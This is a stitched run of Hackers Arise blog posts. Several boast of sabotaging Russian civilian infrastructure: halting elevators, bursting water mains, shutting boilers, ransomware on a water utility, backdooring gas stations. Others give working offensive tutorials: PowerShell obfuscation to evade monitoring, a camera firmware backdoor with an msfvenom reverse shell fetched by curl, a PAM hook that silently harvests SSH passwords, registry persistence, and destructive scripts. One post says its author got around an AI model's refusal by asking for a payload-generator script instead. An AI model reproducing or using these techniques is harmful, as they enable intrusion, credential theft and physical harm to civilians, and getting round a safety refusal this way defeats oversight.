Business Center – Moscow, Russia

Located on Vasilisy Kozhinoy Street in western Moscow, this big business center houses tech startups, consulting firms, and shared office tenants. The building has a digital elevator system, climate controls, RFID access gates, and a surveillance network. The control systems are maintained remotely by a contracted service provider.

Once in, we accessed the SCADA controls for the elevator system. All the elevators were halted using an emergency-stop command. Simultaneously, we revoked credentials for the operator consoles.

It must be tough to get stuck between floors. The team had no access to real-time diagnostics, leading to delays and significant disruptions across the building.

Water Utility – Petrozavodsk, Russia

Petrozavodsk, the capital of the Republic of Karelia, depends on its central water utility to draw and process water from Lake Onega. The system covers thousands of households, several public institutions, and light industrial sites.

During our operation, we gained access through an insecure VPN channel used by contractors for remote troubleshooting. Then closed several critical vault valves and increased pressure across specific districts, overwhelming older pipes to cause bursts and leaks throughout the city.

With no access to real-time telemetry, emergency services had to rely on manual inspections. Water distribution was unstable for days, especially in industrial zones.

Boiler House – Pervouralsk, Russia

In the industrial town of Pervouralsk, one gas-fired boiler house supports a nearby residential complex. The system includes four small-capacity boilers, each with its own control loop managed via SCADA terminals. Operators can toggle between automatic and manual modes, monitor temperatures, and adjust draft fan speeds.

After breaching the control room through remote desktop access we forced all systems into emergency shutdown. Then, by simulating erratic ignition cycles, we forced feed-water temperatures to exceed safe thresholds. The system’s draft fans failed, and district supply temperatures dropped sharply.

Residents could notice no heating within hours. With the SCADA terminals unresponsive and all settings scrambled, technicians could not reboot the system properly. A full reset required factory assistance and downtime of several days.

Water Utility – Samara, Russia

Samara is a key city along the Volga River, home to over a million residents and a wide industrial base. The city’s water utility handles sourcing, purification, and distribution across residential, commercial, and public service zones. A large SCADA system tracks flow rates, water levels, and chlorine dosing at treatment sites.

Within hours, we deployed ransomware that encrypted all control software, telemetry dashboards, and server logs. Operators had no access to chemical dosing data or pump controls.

The utility switched to manual modes, which involved teams physically inspecting and operating equipment. While crews were working on reactivation, residents had water quality issues. Backup systems proved inadequate, as ransomware had infected shared network storage.

Gas Stations – Russia

In August 2024, we launched one of our most effective SCADA attacks against fuel distribution systems across Russia. A separate article covers the campaign in full, but here we’ll revisit the SCADA environment itself. The compromised SCADA software was developed by a regional contractor and deployed in dozens of fueling stations. One remote management port (TCP 50000) was left exposed. It used basic authentication and featured a command-line interface for basic status control via commands like ps. The interface had a hidden command injection feature that poorly sanitized input.

We used this to run commands and establish reverse shells.  Having cracked the passwords, we found out that the default credentials are used across many stations. Ultimately, we compromised over 60 fueling stations, including some in annexed Crimea.

Some gas stations were completely bricked. Others remain under our control, proxying traffic for intelligence and routing during the ongoing cyberwarfare. Their infrastructure now works against them.

Conclusion

It’s been a wild ride, from freezing homes in St. Petersburg and cutting off water in small villages to shutting down elevators in Moscow and tampering with oil and gas controls. We hope you liked this series. If SCADA hacking is your thing, go check out OTW’s SCADA hacking course. Keep sharpening your skills, stay curious about how systems really work, and be safe out there. Until the next operation!

The post SCADA Hacking: Inside Russian Facilities, Part 5 first appeared on Hackers Arise.

Hello aspiring cyberwarriors! 

In modern intrusion scenarios, being inside the system is often not the hardest part. The real challenge begins once you need to stay there without being noticed. Blue teams in well-defended environments rely on continuous monitoring, heavy logging, and SIEM tools such as Splunk or Elastic to track activity. They know what normal user behavior looks like, and they build alerts around suspicious deviations. A compromised workstation that suddenly starts running recon commands immediately raises red flags. At that point, the defender does not need to guess. The investigation begins, and you risk being locked out before making any progress.

For this reason, hackers must rely on obfuscation. Although it does not make commands invisible, it helps you make them much harder to recognize. By transforming payloads and commands into strange, broken-looking forms, you can slip through detection systems that depend on simple pattern matching. In this article we will look at three tools that bring obfuscation to PowerShell: psobf, a Golang-based obfuscator; Argfuscator, which focuses on disguising Windows command arguments; and PowerShell Script Obfuscator by I-Am-Jakoby, which relies on encoding and multi-layered transformations. Together, these tools give you flexible ways to conceal actions and extend dwell time in hostile environments.

Psobf

Repo:

https://github.com/TaurusOmar/psobf

Psobf, short for PowerShell Obfuscator, is a Golang-based project released in the summer of 2024 and under active development. The tool requires Go 1.25.0 or newer on Linux. Once installed, it makes obfuscating PowerShell payloads fast and customizable.

Installing Go

bash$ > wget https://go.dev/dl/go1.25.0.linux-amd64.tar.gz  

bash$ > rm -rf /usr/local/go && tar -C /usr/local -xzf go1.25.0.linux-amd64.tar.gz  

bash$ > echo "export PATH=$PATH:/usr/local/go/bin" >> /etc/profile  

bash$ >  source /etc/profile  

Installing psobf

Now we are ready to install the tool. Based on their GitHub page, the installation is plain and simple:

bash$ > go install github.com/TaurusOmar/psobf/cmd/psobf@latest

Then append this line to /etc/profile:

export PATH=$PATH:/root/go/bin

Obfuscating a Reverse Shell

With psobf installed, we can generate and obfuscate a reverse shell, for instance one taken from revshells.com. Obfuscation is as simple as choosing an input script, an output file, and a level of transformation:

bash$ > psobf -i revshell.ps1 -o obf.ps1 -level 5

Once moved to the target and executed, the obfuscated shell works as expected, giving us a stealthier connection while hiding the command’s real nature.

Argfuscator

Argfuscator is designed to help evade static filters that defenders apply to common commands. Security teams often set alerts around specific keywords and arguments. For example, they may detect whoami, net user, or netstat -ano. Running such commands directly can immediately give you away.

Argfuscator transforms these commands into broken-looking but still functional versions. The tool uses a mix of random case changes, quotation tricks, regex replacements, shorthand expansions, and other substitutions. Out of the box, it supports obfuscation of 68 Windows commands, which is sufficient for most basic recon and persistence tasks.

The resulting output may look unreadable, but that is the point.

SIEM filters are less effective, and the commands execute successfully despite their appearance. Argfuscator is especially useful for day-to-day stealth during a long intrusion.

PowerShell Script Obfuscator

The PowerShell Script Obfuscator by I-Am-Jakoby provides a broader set of transformations. Rather than focusing on arguments, it targets entire scripts. The tool can obfuscate PowerShell code through Base64, Hex, ASCII encoding, URL encoding, binary representations, or even string reversal. By layering these methods, scripts become unreadable to humans and resistant to simple inspection by defenders.

For example, a reverse shell can be wrapped in Base64 and executed with the -e flag:

PS > powershell -e "..."

With Netcat listening, the obfuscated payload delivers the connection as expected.

The real advantage comes from stacking methods. A script that passes through binary encoding, then string reversal, and finally Base64 will look entirely random until decoded step by step. Even if defenders capture the obfuscated script, the time required to peel back multiple layers creates breathing room for the hacker. This extra time can mean the difference between completing objectives and being cut off mid-operation.

Summary

Evading detection is tricky. In tightly watched environments, blunt actions like running plain recon commands, dropping unaltered scripts are immediate invitations for investigation. The point of obfuscation is about making your activity harder to recognize at a glance, forcing automated systems to miss patterns and making human analysts spend time untangling noise. This gives you time to complete tasks before defenders have a clear picture.

We covered tools that give you different ways to add that friction without changing the underlying behavior of your code. One hides the shape of PowerShell payloads, another mangles command arguments so simple keyword rules fail, and a third layers encodings so a script looks meaningless until decoded. Used together, they don’t guarantee success, but they raise the bar for both detection systems and the people who must investigate what they find.

The post PowerShell for Hackers: Evading Detection first appeared on Hackers Arise.

Welcome back, cyberwarriors.

Hope you’re enjoying the series so far. Today we are wrapping it up with the final part, focused on modifying camera firmware. This is the most advanced and risky method. It takes time and precision. The biggest challenge is finding firmware that’s suitable for editing and compiling back without breaking the device. Every manufacturer uses specific formats, so if you mess up the structure or file system, the camera won’t boot again. Always proceed carefully.

Case 4: Modifications

This case is similar to the previous one, but we are going deeper. Imagine the camera you found does not have any ports open, like SSH or Telnet – and neither is configurable in the settings. At first glance, it looks like a dead end.

But then you discover it allows firmware updates. Most cameras have this feature available from the web dashboard. That’s your way in. The first step is to get a copy of the firmware. You can find it on third-party firmware archives or from the official manufacturer’s website.

After downloading the firmware, extract it. We found a script file named run.sh inside. When we opened it, we noticed something interesting.

The script had a Telnet launch command that was commented out. We removed the comment to enable Telnet

That solves one part. But we don’t know the Telnet password that is hashed in the passwd file. By default you can find this file in the /etc directory:

Instead of cracking the existing password hash, we generate our own:

kali > openssl passwd -1 password

This gives a new hash string. Replace the existing hash in the /etc/passwd file with the one you just generated. Save the changes.

Now you need to repack the entire directory structure into a new firmware file. Create a new directory and move everything into it:

kali > mkdir firmware

kali > mv etc firmware/

And so on, until you move all other directories.

Recompiling

Our firmware was using the cramfs (Compressed ROM File System). You’ll need to install cramfs tools directly from the Ubuntu repo, as it is not available for Kali.

Here is the link where you can find it:

http://ftp.ubuntu.com/ubuntu/ubuntu/pool/universe/c/cramfs/

Let’s download it:

kali > wget http://ftp.ubuntu.com/ubuntu/ubuntu/pool/universe/c/cramfs/cramfsprogs_1.1-6ubuntu1_amd64.deb

kali > sudo dpkg -i cramfsprogs_1.1-6ubuntu1_amd64.deb

Once installed, create the new firmware image:kali > mkcramfs firmware  firmware-x.cramfs

Rename the file to match the original firmware name to avoid upload issues. We named it firmware to clear the view and make it easier to understand. Go back to the camera dashboard and upload the modified firmware.

Wait a few minutes for it to flash and reboot. To check if it’s back online:

kali > ping <camera_ip>

Once the camera responds, connect via Telnet:

kali > telnet <camera_ip> 23

Log in using root and the password you created. If successful, you’ll be inside the system. In our case, the target already had nc installed, which helped a lot.

Payload Execution

Determine the architecture of the system:

target > uname -m

Create the payload on Kali:

kali > msfvenom -p linux/<arch>/meterpreter/reverse_tcp LHOST=<kali_ip> LPORT=<kali_port> -f elf > shell.elf

Host the payload on your Kali machine:

kali > python3 -m http.server

Then download it to the target:

target > curl -O http://<kali_ip>:8000/shell.elf

target > chmod +x shell.elf

target > ./shell.elf

Open Metasploit on Kali, set up multi/handler with the same payload options, and you’ll get a Meterpreter session. From there, use proxychains with a SOCKS proxy to route your traffic through the compromised camera and access the network behind it. All of these steps were covered in the previous parts.

Conclusion

Modifying camera firmware is the most advanced step in gaining persistent access. It allows you to create a custom backdoor even when all ports are closed. The method gives full control, but it also comes with the highest risk. A small mistake and the camera is dead. But if done right, it’s a powerful tool for deeper infiltration. With this final part, you now have a complete playbook for hacking, accessing, and using Russian cameras as proxies in espionage operations. Good luck on your next hunt.

The post Network Espionage – Using Russian Cameras as Proxy, Part 3 first appeared on Hackers Arise.

Welcome back, my aspiring cyberwarriors!

For decades now, people have been talking with baited breath about quantum computing and its potential to revolutionize computing. So far, no commercial products have appeared. This isn’t dissimilar (I know, a double negative) from what happened to artificial intelligence. For decades, people talked about the promise of AI, and then suddenly, it was upon us and everywhere.

Quantum computing isn’t not upon us yet, but it very close. Maybe 3 years away from hybrid CPU/GPU/QBit machines. That’s not long to prepare for the revolution it will unleash on cybersecurity.

In this post, I want to help you to better understand what quantum computing is and how it will change the discipline we love, cybersecurity. If any of this interests you, we have a Intermediate Cryptography training coming up, October 21-23. We will delve deeper in that class on quantum computing and post quantum cryptography (PQC).

This is a revolution you don’t want to miss!

What is Quantum Computing?

Quantum computing is an advanced field of computer science that uses the principles of quantum mechanics—such as superposition, entanglement, and interference—to process information in ways that are fundamentally different from classical computers.

What is Quantum Mechanics?

Quantum mechanics is the fundamental branch of physics that describes how matter and energy behave at very small scales—typically atoms and subatomic particles. It explains phenomena that classical physics cannot explain, introducing principles like wave-particle duality, superposition, and the uncertainty principle.

Core Principles of Quantum Mechanics

Wave-particle duality: Quantum entities like electrons and photons show both particle and wave characteristics, depending on how they are measured.

Superposition: A quantum system can exist in multiple states simultaneously until measured, at which point it collapses to a definite state.

Uncertainty principle: It is impossible to precisely know both the position and momentum of a particle at the same time (Heisenberg’s Uncertainty Principle).

Quantization: Physical properties such as energy, momentum, and angular momentum can only take discrete values in quantum systems.

Probability and measurement: Quantum mechanics provides probabilities of outcomes, not certainties—only accounting for what is likely to be measured. This is a fundamental difference between quantum mechanics and traditional mechanics and a major challenge of bringing quantum computing to the commercial and practical use.

Key Concepts of Quantum Computing

Qubit: The quantum analogue of the classical bit. Unlike a classical bit, which is always deterministic (either 0 or 1) a qubit can exist in a superposition of both states simultaneously, which allows quantum computers to process many possibilities at once.

Superposition: A principle where a qubit can be both 0 and 1 at the same time. This enables quantum computers to handle much larger computational spaces than classical bits.

Entanglement: A phenomenon where qubits become linked such that the state of one instantly influences the state of another, no matter how far apart they are. This property boosts quantum processing power for certain calculations.

Interference: Quantum algorithms are designed to amplify the probability of correct answers and reduce the probability of incorrect ones using interference patterns.

Why Is Quantum Computing Important?

Quantum computers have the potential to solve complex problems much faster than classical computers, such as factoring large numbers (important in cryptography), simulating molecules for drug discovery, and optimizing large datasets. It is ability to quickly solve factoring very large numbers that is of most interest to us in cybersecurity. Asymmetric encryption is dependent upon the inability of modern, traditional computers to solve these calculations quickly. Quantum computers do not lack this ability and asymmetric encryption algorithms such as RSA are easily broken by quantum computers using Shor’s algorithm.

Limitations and State of the Art

Most quantum computers today are experimental and best suited for specific research or narrow applications but practical applications are on the near horizon. Quantum computing companies such as IONQ have signed contracts with the US Defense Department and US Air Force to offer quantum computing services. This means that state-sponsored actors are likely to have quantum computing capabilities long before the rest of us.

Challenges include qubit stability (decoherence), error rates, and scaling up to large numbers of qubits for practical use. Despite these challenges, industry leaders such as Nvidia’s Jensen Huang, are developing hybrid systems that will integrate CPU’s, GPU’s and Qbits. These will likely be the first commercial systems and are probably only 3 years away.

Summary Table

Classical Computer	Quantum Computer
Bit (0 or 1)	Qubit (0, 1, both via superposition)
Deterministic	Probabilistic
Linear scaling	Exponential scaling with qubits
Limited by classical physics	Exploits quantum mechanics

Quantum computing represents a revolutionary approach for tasks that remain too hard for today’s most powerful classical systems including asymmetric cryptography(RSA, ECC).

How Quantum Computing Threatens Cybersecurity

Breaking Current Encryption: Quantum computers, thanks to algorithms like Shor’s, will be able to factor large numbers and solve mathematical problems that underpin widely used encryption methods such as RSA and ECC at unprecedented speeds. This means that secure communications (HTTPS, VPNs, digital signatures) and much of the world’s encrypted data could be decrypted by quantum adversaries, exposing sensitive information, financial transactions, private communications, and critical infrastructure.

‘Harvest Now, Decrypt Later’ Threat: Malicious actors may harvest encrypted data today, intending to decrypt it in the future when quantum computing power becomes available

Vulnerable Infrastructure: Industries relying on legacy encryption—such as banking, healthcare, and government—are particularly threatened, as data breaches could result in massive regulatory, financial, and reputational harm

Advanced Malware and Attacks: Quantum computing may also enable more advanced malware, AI-driven attacks, and the rapid discovery of vulnerabilities, further evading current detection systems

Post Quantum Cryptography

Post-quantum cryptography (PQC) is the field focused on designing and standardizing cryptographic algorithms that are secure against attacks by both classical computers and future quantum computers. It aims to protect data and communications from being decrypted by powerful quantum machines that could break today’s widely used public-key cryptography, such as RSA and Elliptic Curve schemes.

To implement post quantum cryptography will mean replacing today’s hardware and software with new IT infrastructure. Those who fail to do this will no longer enjoy the benefits of confidentiality and privacy. Until this new infrastructure is deployed, the first movers with access to quantum systems will be able break everyone’s cryptography.

Summary

Quantum computing will radically reshape the threat landscape—eroding the security of current systems. Once the state-sponsored entities from the US, Russia, China, and Israel have these systems at their disposal, none of information will be safe. Remember that asymmetric encryption is usually used for key exchange between communicating systems. If the key exchange can be intercepted, nothing is safe!

The post What is Quantum Computing How Does It Threaten Cybersecurity? first appeared on Hackers Arise.

The CISSP is widely considered to be the premier cybersecurity certifications. The average salary in the US is almost $150,000 and I’ll bet your boss has one.

If not, their boss is certified with the CISSP.

This is your ticket to a rewarding, high-paying career in cybersecurity.

A Four-Day boot camp, September 23-26

Now, you can go to the head of the class in cybersecurity with this 4-day intensive bootcamp with Master OTW. This class is available to everyone in the Subscriber package or you can buy the individual LIVE class for just $199

Even if you won’t be taking the exam and earning the certification, this is an excellent class to learn in-depth cybersecurity techniques and technologies used by secure companies from around the world and will help you throughout your long and prosperous career in cybersecurity

Take a look what our students have said about our CISSP bootcamps.

To join this training, become a Subscriber at Hackers-Arise and get this and over 40 other courses.

If you just want the CISSP training, you can purchase the training separately here for just $199.

The post It’s Time to Elevate Your Cybersecurity Game! Earn the Crown Jewel of Cybersecurity Certifications! first appeared on Hackers Arise.

Welcome back, my aspiring cyberwarriors!

Landing on a Linux machine after exploitation or with freshly harvested credentials often feels like a victory, but in reality, it is only the beginning of the struggle. Lateral movement in Linux environments is notoriously trickier than in Windows domains. Even if you manage to obtain root on one host, you might quickly hit a wall: you see evidence of users connecting to other systems, but you don’t have their credentials. Without those, further expansion stalls. Techniques such as dumping memory or scraping process data might work in some cases, but SSH processes in particular won’t reveal user credentials so easily. At first glance, it feels like a dead end.

This is where PAM manipulation comes into play. By modifying how the Pluggable Authentication Module handles logins, it becomes possible to quietly capture user credentials whenever they authenticate. This is how you create a systematic way to harvest SSH passwords and reuse them for lateral movement.

Recon with Known Hosts

Before diving into PAM patching, it is useful to gather some context about the network and where legitimate users are connecting. SSH clients store previously accessed servers in a known_hosts file under each user’s .ssh directory. If those files are accessible, they give a list of destinations without the need for noisy scanning.
For example, inspecting /home/dev3/.ssh/known_hosts might reveal entries such as git. That single clue suggests a pivot point. If the compromised machine is in a restricted environment, that host may sit in another subnet or behind access controls you couldn’t otherwise reach. With the right credentials, this file becomes a roadmap for lateral movement.

Preparing the Host

Before implementing a credential capture mechanism, it’s important to ensure the host accepts password-based logins. SSHD can be configured to forbid password authentication entirely, relying solely on key-based access. To enable credential capture, the following must be set in /etc/ssh/sshd_config:

target# > nano /etc/ssh/sshd_config

PasswordAuthentication yes

Once this change is in place, the groundwork is set.

Creating a Logging Script

The next step is creating a small script that will record login attempts. With root privileges, create a new file at /usr/local/bin/logc.sh:

target# > nano /usr/local/bin/logc.sh

#!/bin/bash

echo "$(date) User: $PAM_USER Password: $(cat -), From: $PAM_RHOST" >> /var/log/.authc.log

Make it executable:

target# > chmod 777 /usr/local/bin/logc.sh

Then prepare the hidden log file that will quietly collect captured data:

target# > touch /var/log/.authc.log

This script is simple yet powerful. It captures the username, the plaintext password, the source of the connection, and timestamps each entry.

Patching PAM

With the logging script in place, the next task is to insert it into the PAM authentication chain. PAM configurations vary slightly between distributions, but for SSH specifically, the relevant file is /etc/pam.d/sshd. For broader system-wide coverage, other files such as /etc/pam.d/common-auth (Debian/Ubuntu) or /etc/pam.d/password-auth (CentOS) could be patched instead.

To modify SSH authentication only, open /etc/pam.d/sshd and add the following line at the very top:

target# > nano /etc/pam.d/sshd

auth optional pam_exec.so quiet expose_authtok /usr/local/bin/logc.sh

This ensures that every authentication attempt, successful or not, passes through the logging script before continuing with normal PAM processing. Credentials are silently exfiltrated while legitimate users remain unaware.

Applying and Testing the Patch

For the changes to take effect, restart the SSH service:

target# > service sshd restart

Once restarted, test the patch by logging in with valid credentials.

Afterwards, check the log file:

target# > cat /var/log/.authc.log

Each entry should display the captured user, the password they entered, the remote host they connected from, and the date of the attempt. Over time, this log will accumulate valuable credentials from legitimate user sessions, giving you a resource for lateral movement.

Summary

There is a great method of harvesting SSH credentials on Linux by modifying the Pluggable Authentication Module (PAM). After identifying potential lateral movement targets via known_hosts, SSH is reconfigured to allow password authentication. A custom logging script is created to capture usernames, passwords, and remote sources, and is then integrated into PAM by editing /etc/pam.d/sshd. With the patch in place, every login attempt is silently recorded to a hidden log file. Restarting SSH activates the change, and future connections yield a steady stream of usable credentials. 

The post Password Cracking: Stealing SSH Credentials with PAM first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

Persistence on Windows systems has always been a cat-and-mouse game between attackers looking for reliable footholds and defenders trying to close down avenues of abuse. Windows itself provides a wide range of mechanisms that are legitimate parts of system functionality, yet each of them can be turned into a way of ensuring malicious code runs again and again after reboot or logon. Registry values, system processes, and initialization routines are all potential targets for persistence, and while most of them were never designed with security in mind, they remain available today. What makes them attractive is durability: once configured, they survive restarts and provide repeated execution opportunities without requiring the attacker to manually re-enter the environment.

The techniques described here are all examples of registry-based persistence, each with its own advantages, drawbacks, and detection footprints. Understanding them is crucial for both attackers– who rely on stability– and defenders– who need to spot tampering before it causes damage.

AppInit

AppInit is a legacy Windows feature that tells the OS loader to map one or more DLLs into any process that links user32.dll. That means when many GUI apps start, Windows will automatically load the DLLs listed in that registry value, giving whatever code is inside those DLLs a chance to run inside those processes. It’s a registry-based, machine-wide mechanism that survives reboot and affects both 32-bit and 64-bit GUI applications when configured.

cmd#> reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t reg_dword /d 0x1 /f

cmd#> reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t reg_sz /d "C:\meter64.dll" /f

cmd#> reg add "HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t reg_dword /d 0x1 /f

cmd#> reg add "HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t reg_sz /d "C:\meter32.dll" /f

The first command turns the AppInit behavior on for the 64-bit registry view. The second command writes the path to the DLL(s) that Windows should try to load into GUI processes (this value is a string of one or more DLL paths). The next two commands do the same thing for the 32-bit registry view on a 64-bit system. First it will enable the mechanism for 32-bit processes, and then set the 32-bit DLL path.

In plain terms: enable AppInit, tell Windows which DLLs to load, and do it for both 64-bit and 32-bit processes so GUI apps of both architectures will load the specified libraries.

Pros: survives reboots and causes the DLL to be loaded into many GUI processes automatically, giving broad coverage without per-user startup entries.

Cons: requires administrative rights to change HKLM, is noisy because the DLL will appear loaded in many processes (creating strong telemetry), and relies on an older, well-known mechanism that defenders often check.

If you’re a defender, focus on auditing the HKLM Windows keys (including the Wow6432Node path) and monitoring unusual DLL loads into system or common GUI processes.

LSASS

Modifying LSASS’s configuration to load an extra DLL is a way to get code executed inside a highly privileged, long-lived system process. LSASS is responsible for enforcing security policy and handling credentials. Because it loads configured authentication/notification packages at startup, adding an entry here causes the chosen module to be loaded into that process and remain active across reboots. That makes it powerful, but dangerous.

cmd#> reg add "HKLM\system\currentcontrolset\control\lsa" /v "Notification Packages" /t reg_multi_sz /d "rassfm\0scecli\0meter" /f

The registry command updates Notification Packages multi-string under the LSA key. In simple terms, this line tells Windows “when LSASS starts, also load the packages named rassfm, scecli, meter and force the write if the value already exists.”

Pros: survives reboots and places code inside a long-running, high-privilege process, making the persistence both durable and powerful.

Cons: requires administrative privileges to change the LSA registry, produces extremely high-risk telemetry and stability impact (misconfiguration or a buggy module can crash LSASS and destabilize or render the system unusable), and it is highly suspicious to defenders.

Putting code into LSASS buys durability and access to sensitive material, but it is one of the loudest and riskiest persistence techniques: it demands admin rights, creates strong signals for detection, and can crash the machine if done incorrectly.

Winlogon

Winlogon is the component that handles interactive user logons, and it calls the program(s) listed in the UserInit registry value after authentication completes. By appending an additional executable to that UserInit string you ensure your program is launched automatically every time someone signs in interactively. 

cmd#> reg add "HKLM\software\microsoft\windows nt\currentversion\winlogon" /v UserInit /t reg_sz /d "c:\windows\system32\userinit.exe, c:\meter.exe"

This keeps the normal userinit.exe first and appends c:\meter.exe, so when Winlogon runs it will launch userinit.exe and then meter.exe as part of the logon sequence. Be aware that UserInit must include the legitimate userinit.exe path first. Removing or misordering it can break interactive logons and lock users out.

Pros: survives reboots and reliably executes at every interactive user logon, giving consistent persistence across sessions.

Cons: requires administrative privileges to change HKLM, offers no scheduling control (it only runs at logon), and is risky, since misconfiguring the UserInit value can prevent users from logging in and produces obvious forensic signals.

Microsoft Office

Many Office components read configuration from the current user’s registry hive, and attackers can abuse that by inserting a path or DLL name that Office will load or reference when the user runs the suite. This approach is per-user and survives reboots because the configuration is stored in HKCU, but it only triggers when the victim actually launches the Office component that reads that key. It’s useful when the target regularly uses Office and you want a simple, low-privilege persistence mechanism that doesn’t require installing a service or touching machine-wide autoruns.

cmd$> reg add "HKCU\Software\Microsoft\Office test\Special\Perf" /t REG_SZ /d C:\meter.dll

Pros: survives reboots and works from a normal user account because it lives in HKCU, so no administrative rights are required.

Cons: there’s no scheduling control, it only triggers when the user launches the relevant Office component, so you cannot control an execution interval.

Summary

Windows persistence through registry modifications offers multiple paths, from legacy AppInit DLL injection to LSASS notification packages, Winlogon UserInit hijacking, and Office registry keys under HKCU. Each of these methods survives reboots, ensuring repeated code execution, but they vary in scope and stealth. AppInit and Office rely on application startup, while LSASS and Winlogon provide broader and more privileged coverage. All require different levels of access, with the most powerful options also being the loudest in telemetry and the riskiest to system stability. For defenders, the key takeaway is clear: monitoring critical registry keys under HKLM and HKCU, watching for unusual DLL or executable loads, and ensuring proper auditing are essential.

The post Advanced Windows Persistence, Part 2: Using the Registry to Maintain Persistence first appeared on Hackers Arise.

With in-memory execution and simulated exfiltration already in place, the next step was obvious: persistence. Advanced threats like Koske don’t just run once—they stay alive, blend into the system, and return after every reboot. That’s exactly what I set out to replicate in this phase.

The goal? To see if the AI could not only generate payloads that behave like persistent malware, but also suggest and configure real-world persistence mechanisms like systemd services or .bashrc entries—again, without me writing any code manually.

Let’s see how far the AI can go when asked to survive a reboot.

Simulated Attack Chain: Building Complexity

At this stage, the challenge escalates. Instead of focusing on isolated behaviors like beaconing or exfiltration, I asked the AI to generate a safe, all-in-one payload that could simulate a full attack chain. The idea was to build a structured sequence of actions—like compiling a fake binary, faking persistence, collecting environment data, and retrieving a file—mirroring the complexity of how real APTs like Koske operate.

The AI responded with a well-structured, harmless payload that compiles a dummy C program (fakerootkit), creates a marker file to simulate persistence (persistence_demo.txt), collects system info (cpu_check.txt), and downloads a PDF disguised as a cryptominer. All of this is packed into a polyglot image that can be triggered with a single command—just like earlier stages.

From here on, each request I make builds on the last, and the behavior becomes increasingly layered. This is where the simulation begins to truly reflect the modular, adaptive structure of a real-world APT—only it’s being built entirely through natural language prompts.

Bypassing AI Limitations: Changing the Assembly Vector

As I continued expanding the complexity of the simulation, I hit a wall: the AI stopped generating polyglot images directly, likely due to internal safety filters. But rather than breaking the experiment’s core rule—no manual payload writing—I took a different approach. I asked the AI to give me a Python script that could generate the image locally.

The result was a clean, minimal script that uses the PIL library to create a basic JPEG image, then appends a harmless shell payload that opens a terminal and runs whoami. The AI provided everything: image generation, payload logic, encoding, and the binary append operation—effectively giving me the same polyglot result, just via a different toolchain.

This moment reflected a real-world tactic perfectly: when direct delivery fails, an APT often falls back to alternative methods like packer-based generation or local compilation. Here, the AI simulated that behavior without being asked to—and kept the flow going.

Payload Assembly Without Manual Scripting

To stay within the bounds of the experiment, I didn’t manually write or alter the payload logic. Instead, I simply copied and pasted the code provided by the AI—line by line—into a local environment, using it exactly as delivered. The full simulated attack chain was now assembled via Python: fake binary compilation, mock persistence, system enumeration, and simulated cryptominer download.

This approach preserved the project’s core rule: I was still not writing code myself—the AI was doing all the work. The only difference was that now, instead of delivering a final image, it handed me the blueprints. And in real-world terms, this mimics the shift from payload delivery to toolkits and builders—exactly the kind of modularity we see in modern APT ecosystems like Koske.

Final Execution: Complete Polyglot Delivery Chain

For this phase, the objective was clear: demonstrate a full local execution chain that accurately reflects the behavior of the targeted APT — but using only safe, demonstrative payloads.

This time, the image wasn’t delivered directly. Due to AI restrictions, I adapted the approach by requesting a Python script that would locally generate the final polyglot image. The script would:

• Create a simple JPEG file
  
• Embed the full simulated attack chain as a shell payload
  

Once executed, the generated image (polyglot_terminal_whoami.jpg) behaved exactly as expected. Upon triggering it with the terminal command:

grep -a -A9999 “# PAYLOAD” polyglot_terminal_whoami.jpg | bash

The image executed a chain that:

• Compiled a harmless “fakerootkit” binary
  
• Simulated persistence via a timestamped text file
  
• Collected CPU information into a local dump
  
• Downloaded the PDF (“Linux Basics for Hackers 2 ed”) as a stand-in for staged payload delivery
  

All steps ran in sequence, without errors, cleanly emulating the kind of behavior observed in staged APT attacks — from initial execution, to local recon, to staged download activity.

Summary

This third stage marked a major technical leap in our emulation of the APT’s behavior. Faced with limitations in image payload generation, we adapted by leveraging Python to produce fully functional polyglot JPEGs locally.

The resulting image executed a complete mock attack chain: compiling a fake binary, simulating persistence, collecting system info, and downloading a decoy PDF — each step carefully reflecting the operational flow of the APT. By shifting to script-based generation while maintaining payload integrity, we advanced our alignment with the adversary’s methodology without compromising control or structure.

There’s something else I haven’t revealed yet — in an upcoming entry, I’ll show how, through the same sequence of prompts used in this project, I was able to obtain a fully functional rootkit for Linux. Stay tuned — I’ll be back soon.

Until next time…

Smouk out!

The post The One-Man APT with Artificial Intelligence, Part III: From Zero to Local Dominance first appeared on Hackers Arise.

Welcome back cyberwarriors!

In this part of the series, we are looking at how PowerShell can be used to cause large-scale disruption, from slowing systems to completely knocking them offline. These techniques range from simple resource exhaustion attacks that overload CPU and memory, to disabling hardware interfaces, wiping license keys, and finally forcing systems into a blue screen or rendering them unbootable.

It must be stressed from the outset that these techniques are highly destructive. They are not tools for casual experimentation. Some of them have been in use during cyber war operations to defend Ukraine against Russia. If misused in the wrong context, however, the results can be catastrophic and irreversible.

We will begin with the basics and gradually move toward the most dangerous techniques.

Overloading RAM

Repo

https://github.com/soupbone89/Scripts/tree/main/Load%20RAM

This script works by aggressively consuming system memory. It repeatedly allocates large arrays until nearly all available RAM is exhausted, leaving only a small buffer so the operating system does not immediately collapse. The machine slows to a crawl, applications stop responding, and the system becomes unusable.

In practice, this type of attack can serve multiple purposes. It can be used as a denial-of-service tactic to lock down a workstation or server, or it can act as a distraction, forcing administrators to focus on degraded performance while other activity takes place unnoticed in the background.

Execution is straightforward:

PS > .\loadram.ps1

Before execution the system may appear stable, but once the script runs memory consumption spikes and responsiveness slows significantly.

Overloading CPU

Repo:

https://github.com/soupbone89/Scripts/tree/main/Load%20CPU

This script applies the same principle to processor cores. It launches high-priority mathematical operations across every CPU thread, pinning usage at 100% until the script is terminated. Just as with RAM exhaustion, this method can disrupt normal operations or serve as a cover while other malicious tasks are executed.

Run the script like so:

PS > .\loadcpu.ps1

The machine becomes unresponsive, fans spin up, and users quickly realize something is wrong.

Windows License Killer

Repo:

https://github.com/soupbone89/Scripts/tree/main/Windows%20License%20Killer

This script takes a more subtle but equally damaging approach. It clears Windows product keys by wiping out OEM, retail, and volume license entries from the registry. Once executed, the system is effectively stripped of activation data. After restarting the Software Protection Service, Windows appears unlicensed and may refuse to validate against Microsoft servers.

Execution:

PS > .\license.ps1

You can attempt to check the product key afterward with:

PS > (Get-WmiObject -query 'select  from SoftwareLicensingService').OA3xOriginalProductKey

The result will be empty, confirming the license data is gone.

USB and Network Killer

Repo:

